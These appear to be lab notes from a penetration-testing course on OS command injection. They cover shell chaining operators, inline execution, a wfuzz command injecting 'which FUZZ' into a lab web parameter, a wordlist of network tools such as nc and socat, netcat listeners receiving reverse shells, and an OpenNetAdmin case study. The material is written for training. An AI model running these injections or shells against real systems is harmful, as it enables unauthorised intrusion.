kali@kali:~$ ls -ls
total 32
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Desktop
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Documents
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Downloads
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Music
4 drwxr-xr-x 2 kali kali 4096 Aug 23 07:12 Pictures
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Public
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Templates
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Videos
Chaining our first commands
kali@kali:~$ ls -ls ; id
total 32
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Desktop
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Documents
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Downloads
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Music
4 drwxr-xr-x 2 kali kali 4096 Aug 23 07:12 Pictures
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Public
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Templates
4 drwxr-xr-x 2 kali kali 4096 May 31 03:34 Videos
uid=1000(kali) gid=1000(kali) groups=1000(kali),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),120(wireshark),134(scanner),142(kaboxer)
In addition to the semicolon, which allows us to chain multiple commands together in one statement, another unique separator for Linux is the newline (\n), which exists in every HTTP request. Its hexadecimal value is 0x0A.
Chaining with Logical AND (Success)
kali@kali:~$ whoami && hostname
kali
kali
Chaining with Logical AND (Failure)
kali@kali:~$ foobar && hostname
foobar: command not found
Chaining with Logical OR (Failure)
kali@kali:~$ whoami || id
kali
Chaining with Logical OR (Success)
kali@kali:~$ foobar || whoami
foobar: command not found
kali
Inline Execution Characters
`cmd`
$(cmd)
Chaining with inline execution
kali@kali:~$ echo "This is an echo statement"
This is an echo statement
kali@kali:~$ echo "This is an `whoami` echo statement"
This is an kali echo statement
kali@kali:~$ echo "This is an $(whoami) echo statement"
This is an kali echo statement
The above could have just been sent in Burp Suite's Repeater after URL-encoding the request...
Receiving a root privileged shell
...
listening on [any] 9090 ...
connect to [172.16.80.2] from (UNKNOWN) [172.16.80.1] 59993
bash: cannot set terminal process group (19): Inappropriate ioctl for device
bash: no job control in this shell
root@cdee2640ffbf:/#
System Information, Patches, Versioning, Arch, etc.
Custom Linux Capability Wordlist
w00tw00t
wget
curl
fetch
gcc
cc
nc
socat
ping
netstat
ss
ifconfig
ip
hostname
php
python
python3
perl
java
Fuzzing and checking for capabilities with our Custom Wordlist
kali@kali:~$ wfuzz -c -z file,/home/kali/capability_checks_custom.txt --hc 404 "http://ci-sandbox:80/php/index.php?ip=127.0.0.1;which FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://ci-sandbox:80/php/index.php?ip=127.0.0.1;which%20FUZZ
Total requests: 19
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000006: 200 11 L 69 W 503 Ch "cc"
000000015: 200 11 L 69 W 510 Ch "php"
000000018: 200 11 L 69 W 505 Ch "perl"
000000017: 200 11 L 69 W 508 Ch "python3"
000000001: 200 10 L 68 W 491 Ch "w00tw00t"
000000014: 200 11 L 69 W 506 Ch "hostname"
000000019: 200 10 L 68 W 491 Ch "java"
000000007: 200 11 L 69 W 499 Ch "nc"
000000016: 200 11 L 69 W 508 Ch "python"
000000003: 200 11 L 69 W 505 Ch "curl"
000000012: 200 11 L 69 W 506 Ch "ifconfig"
000000011: 200 10 L 68 W 491 Ch "ss"
000000010: 200 11 L 69 W 504 Ch "netstat"
000000013: 200 10 L 68 W 491 Ch "ip"
000000009: 200 11 L 69 W 502 Ch "ping"
000000004: 200 10 L 68 W 492 Ch "fetch"
000000005: 200 11 L 69 W 505 Ch "gcc"
000000008: 200 10 L 68 W 492 Ch "socat"
000000002: 200 11 L 69 W 506 Ch "wget"
Total time: 0
Processed Requests: 19
Filtered Requests: 0
Requests/sec.: 0
We highly recommend taking note of the various options available when attempting to gain a reverse shell. PayloadAllTheThings is an excellent resource to learn about these.
Finding a live system with phpinfo() is rare but not unheard of. It contains a wealth of information and is sometimes left behind by system administrators or web developers.
Starting a netcat listener on port 9090
kali@kali:~$ nc -nlvp 9090
listening on [any] 9090 ...
...
listening on [any] 9090 ...
connect to [192.168.49.51] from (UNKNOWN) [172.16.80.1] 53017
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@5bce60aa9510:/var/www/html/php$
This limitation of web shells is why we always try to leverage them to acquire a full reverse shell.
Extra Mile II
What are the three world writable directories (permissions of 777 or rwx) with which we can write to, execute from, and read from in Linux Operating Systems? It's useful to know these if we ever need to write out to the file system.
/tmp/
/var/tmp/
/dev/shm/
Case Study - OpenNetAdmin (ONA)
Accessing OpenNetAdmin
Start the VPN, VM, and add the IP to your hosts file.
Discovery and Assessment
More often than not, if an exploit requires authentication, a low-privileged user (or even a guest user) will suffice for successful exploitation.
Exploitation
Full POST Data Payload attempting command injection